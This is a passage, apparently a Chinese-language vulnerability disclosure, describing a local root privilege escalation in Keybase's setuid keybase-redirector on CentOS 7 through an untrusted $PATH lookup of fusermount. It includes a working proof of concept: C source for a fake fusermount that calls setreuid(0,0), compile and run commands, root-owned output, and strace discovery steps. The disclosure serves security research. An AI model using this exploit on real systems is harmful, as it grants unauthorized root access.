keybase-redirector是一个setuid根二进制文件。keybase-redirector使用相对路径调用fusermount二进制文件,应用程序信任$ PATH的值。这允许本地的非特权用户欺骗应用程序以root身份执行自定义fusermount二进制文件。
环境
CentOS Linux版本7.4.1708(核心)
3.10.0-693.17.1.el7.x86_64
RPM信息
Name : keybaseVersion : 2.8.0.20181017144746.3efc4cbf3cRelease : 1Architecture: x86_64Install Date: Mon 22 Oct 2018 05:30:36 PM EDTGroup : UnspecifiedSize : 273302678License : BSDSignature : RSA/SHA256, Wed 17 Oct 2018 10:55:21 AM EDT, Key ID 47484e50656d16c7Source RPM : keybase-2.8.0.20181017144746.3efc4cbf3c-1.src.rpmBuild Date : Wed 17 Oct 2018 10:54:47 AM EDTBuild Host : 6ae61e160e87Relocations : (not relocatable)Summary : Keybase command line clientDescription :Keybase command line client
名为user1的非特权用户用于此PoC。
重现步骤
1)显示用户1的权限 - 执行id命令
[user1@localhost woot]$ iduid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
2)创建自定义fusermount应用程序。此PoC将以root身份创建/ w00t。可以执行任意命令。
cat >fusermount.c<<EOF#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <unistd.h>int main(int argc, char **argv){ setreuid(0,0); system("/usr/bin/touch /w00t"); return(0);}EOF
3)编译fusermount.c
gcc -Wall fusermount.c -o fusermount
4)验证/ w00t不存在。
[user1@localhost woot]$ ls -ld /w00tls: cannot access /w00t: No such file or directory
5)在前缀PATH环境变量(用于当前工作目录)并执行keybase-redirector,然后以root身份执行恶意fusermount二进制文件。
env PATH=.:$PATH /usr/bin/keybase-redirector /keybase
6)输入control-c序列以终止应用程序。
[user1@localhost woot]$ env PATH=.:$PATH /usr/bin/keybase-redirector /keybase^C
7)验证/ w00t是否存在
[user1@localhost woot]$ ls -ld /w00t-rw-rw-r--. 1 root user1 0 Oct 22 16:34 /w00t[user1@localhost woot]$
总结:未经授权的root访问可能会影响系统的机密性,完整性和可用性。
从低权限帐户启动密钥库后,我注意到keybase-redirector正在以root权限运行,这使我的兴趣达到了顶峰。我最初通过运行带有无效路径的二进制文件并观察到错误来找到它。令我惊讶的是,有一个所以我使用strace实用程序进一步调查。一旦它看起来很脆弱,我就试图利用它。
设置PATH = / foobar并查看是否有错误。在这种情况下,错误是非常具有描述性的。
[user1@localhost ~]$ env PATH=/foobar /usr/bin/keybase-redirector /keybaseMount error, exiting cleanly: fusermount: exec: "fusermount": executable file not found in $PATH
我使用strace实用程序跟踪系统调用,同时仍然使用/ foobar作为$ PATH。请注意newfstatat()的第二个参数中对/ foobar / fusermount的引用。在这一点上,我有信心我可以影响程序执行我的fusermount版本,所以我写了PoC。
[root@localhost ~]# env PATH=/foobar /usr/bin/strace -u user1 -ff /usr/bin/keybase-redirector /keybase 2>&1|grep foobar[pid 4890] newfstatat(AT_FDCWD, "/foobar/fusermount", 0xc420070858, 0) = -1 ENOENT (No such file or directory)
本文始发于微信公众号(飓风网络安全):通过keybase-redirector中受信任的$ PATH提升Linux权限
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论